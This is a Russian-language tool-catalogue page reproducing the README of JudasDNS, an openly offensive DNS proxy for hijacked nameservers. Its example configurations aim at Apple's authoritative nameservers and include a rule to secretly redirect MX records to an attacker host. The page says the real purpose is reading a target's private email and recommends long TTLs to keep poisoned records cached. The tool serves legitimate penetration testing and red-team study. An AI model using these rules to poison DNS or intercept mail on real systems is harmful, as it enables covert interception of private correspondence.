Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
JudasDNS — Атаки отравления DNS на серверах имен стали простыми | Kitploit
Инструменты/GitHubGitHub/mandatoryprogrammer/judasdns
ЭксплуатацияТестирование на ПроникновениеDNS-ФаззингRed TeamingАнализ DNS
GitHubmandatoryprogrammer/judasdns

JudasDNS

Атаки отравления DNS на серверах имен стали простыми

Репозиторий
526929 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Judas DNS

root@kitploit:~
                                                   
                          ,,                                                        
   `7MMF'               `7MM                       `7MM"""Yb. `7MN.   `7MF'.M"""bgd 
     MM                   MM                         MM    `Yb. MMN.    M ,MI    "Y 
     MM `7MM  `7MM   ,M""bMM   ,6"Yb.  ,pP"Ybd       MM     `Mb M YMb   M `MMb.     
     MM   MM    MM ,AP    MM  8)   MM  8I   `"       MM      MM M  `MN. M   `YMMNq. 
     MM   MM    MM 8MI    MM   ,pm9MM  `YMMMa.       MM     ,MP M   `MM.M .     `MM 
(O)  MM   MM    MM `Mb    MM  8M   MM  L.   I8       MM    ,dP' M     YMM Mb     dM 
 Ymmm9    `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP'     .JMMmmmdP' .JML.    YM P"Ybmmd"  

                                         Атаки отравления DNS-серверов имён — проще некуда

Прокси-сервер DNS, предназначенный для развертывания вместо захваченного сервера имён с целью целевой эксплуатации. Judas работает, проксируя все DNS-запросы к легитимным серверам имён домена. Магия заключается в конфигурациях правил Judas, которые позволяют изменять DNS-ответы в зависимости от IP-адреса источника или типа DNS-запроса. Это позволяет атакующему настроить вредоносный сервер имён для таких действий, как выборочное перенаправление входящей электронной почты от определённых диапазонов IP-адресов (через изменённые MX-записи), установка чрезвычайно длинных TTL для сохранения отравленных записей в кеше и многое другое.

Как захватить сервер имён?

Дополнительная информация о захвате серверов имён и перехвате DNS приведена в статье блога под названием "Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target".

Пример конфигурации

Ниже приведён пример конфигурации Judas для сценария, в котором атакующий скомпрометировал/захватил один из авторитетных серверов имён Apple (для apple.com):

root@kitploit:~
{
    "version": "1.0.0",
    "port": 2248,
    "dns_query_timeout": 10000,
    "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
    "rules": [
        {
            "name": "Тайно перенаправлять все письма, приходящие с 127.0.0.1!",
            "query_type_matches": [ "MX" ],
            "ip_range_matches": [ "127.0.0.1/32" ],
            "modifications": [
                {
                    "answer": [
                        {
                            "name": "apple.com",
                            "type": 15,
                            "class": 1,
                            "ttl": 10,
                            "priority": 10,
                            "exchange": "hacktheplace.localhost"
                        }
                    ]
                }
            ]
        },
        {
            "name": "Во всех ответах устанавливать NOERROR, даже если произошла ошибка.",
            "query_type_matches": [ "*" ],
            "modifications": [
                {
                    "header": {
                        "rcode": 0
                    }
                }
            ]
        }
    ]
}

Назначение каждого значения конфигурации:

  • version: Версия формата файла конфигурации (пока всегда 1.0.0).
  • port: Порт, на котором должен работать Judas.
  • dns_query_timeout: Время ожидания в миллисекундах перед отказом от ответа вышестоящего целевого сервера имён.
  • target_nameservers: Легитимные сервера имён для целевого домена. Все DNS-запросы будут отправляться от Judas на эти сервера от имени всех запрашивающих клиентов.
  • rules: Список правил с модификациями DNS-ответа, применяемыми при совпадении.
    • name: Имя данного правила.
    • query_type_matches: Список типов запросов для сопоставления, например CNAME, A и т.д. Можно также указать символ подстановки (*) для любого типа.
    • ip_range_matches: Список диапазонов IP для сопоставления. Для выборочной подмены ответов для определённого диапазона IP-адресов.

Модификации

Правила Judas содержат спецификацию modifications, которая представляет собой список различных изменений, вносимых в DNS-ответ перед его отправкой обратно клиенту. Важно ознакомиться с node-dns документацией, чтобы понять структуру DNS-ответа и иметь возможность её изменять.

Пример формата DNS-ответа:

root@kitploit:~
{ header: 
   { id: 25373,
     qr: 1,
     opcode: 0,
     aa: 1,
     tc: 0,
     rd: 1,
     ra: 0,
     res1: 0,
     res2: 0,
     res3: 0,
     rcode: 5 },
  question: [ { name: 'apple.com', type: 2, class: 1 } ],
  answer: 
   [ { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver4.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver3.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver5.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver6.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns1.apple.com' } ],
  authority: [],
  additional: [],
  edns_options: [],
  payload: undefined,
  address: undefined,
...сокращено для краткости...

(Дополнительную информацию о структуре данных DNS-ответа см. в этой документации.)

Написание модификации очень простое. Пример правила с модификацией приведён ниже:

root@kitploit:~
{
  "name": "Во всех ответах устанавливать NOERROR, даже если произошла ошибка.",
  "query_type_matches": [ "*" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

Это правило соответствует любому типу запроса (благодаря символу подстановки (*)) и устанавливает значение header.rcode DNS-ответа равным 0. Любой объект, указанный в качестве элемента модификации, объединяется с DNS-ответом, заменяя исходное значение.

Другой пример:

root@kitploit:~
{
  "name": "Тайно перенаправлять все письма, приходящие с 127.0.0.1!",
  "query_type_matches": [ "MX" ],
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "answer": [
        {
          "name": "apple.com",
          "type": 15,
          "class": 1,
          "ttl": 10,
          "priority": 10,
          "exchange": "hacktheplace.localhost"
        }
      ]
    }
  ]
}

Это правило срабатывает на любой MX-запрос с 127.0.0.1. Ответ DNS заменяется одной MX-записью для hacktheplace.localhost. Реальный сценарий применения — перенаправление входящих писем от определённого IP с целью чтения приватной переписки цели. Кроме того, в реальных условиях атакующий может также изменить TTL ответа на очень большое значение, чтобы его вредоносные записи как можно дольше сохранялись в DNS-кешах клиентов.

Типы сопоставления правил

IP-адрес запрашивающего

Следующее правило будет срабатывать на IP-адрес клиента:

root@kitploit:~
{
  "name": "Во всех ответах, запрошенных с localhost (127.0.0.1), устанавливать NOERROR.",
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

Поле ip_range_matches задаётся в виде массива диапазонов IP, определяющих целевые диапазоны для применения модификации ответа. Отсутствие этого поля эквивалентно символу подстановки и соответствует всем IP-адресам клиентов.

Тип запроса

Следующее правило будет срабатывать на типы запросов MX и CNAME и соответственно применять модификацию ответа:

root@kitploit:~
{
  "name": "Во всех ответах устанавливать NOERROR, даже если произошла ошибка.",
  "query_type_matches": [ "MX", "CNAME" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

Поле query_type_matches задаётся в виде массива типов запросов для сопоставления. Отсутствие этого поля эквивалентно символу подстановки и соответствует всем типам запросов.

Код состояния ответа

Следующее правило будет срабатывать на код ответа NXDOMAIN и применять соответствующую модификацию ответа:

root@kitploit:~
{
  "name": "Во всех ответах, запрошенных с localhost (127.0.0.1), устанавливать NOERROR.",
  "response_code_matches": [ "NXDOMAIN" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

Поле response_code_matches задаётся в виде массива кодов ответа для сопоставления. Отсутствие этого поля эквивалентно символу подстановки и соответствует всем типам RCODE.

Скачать инструмент
  • modifications: См. раздел «Модификации» этого README.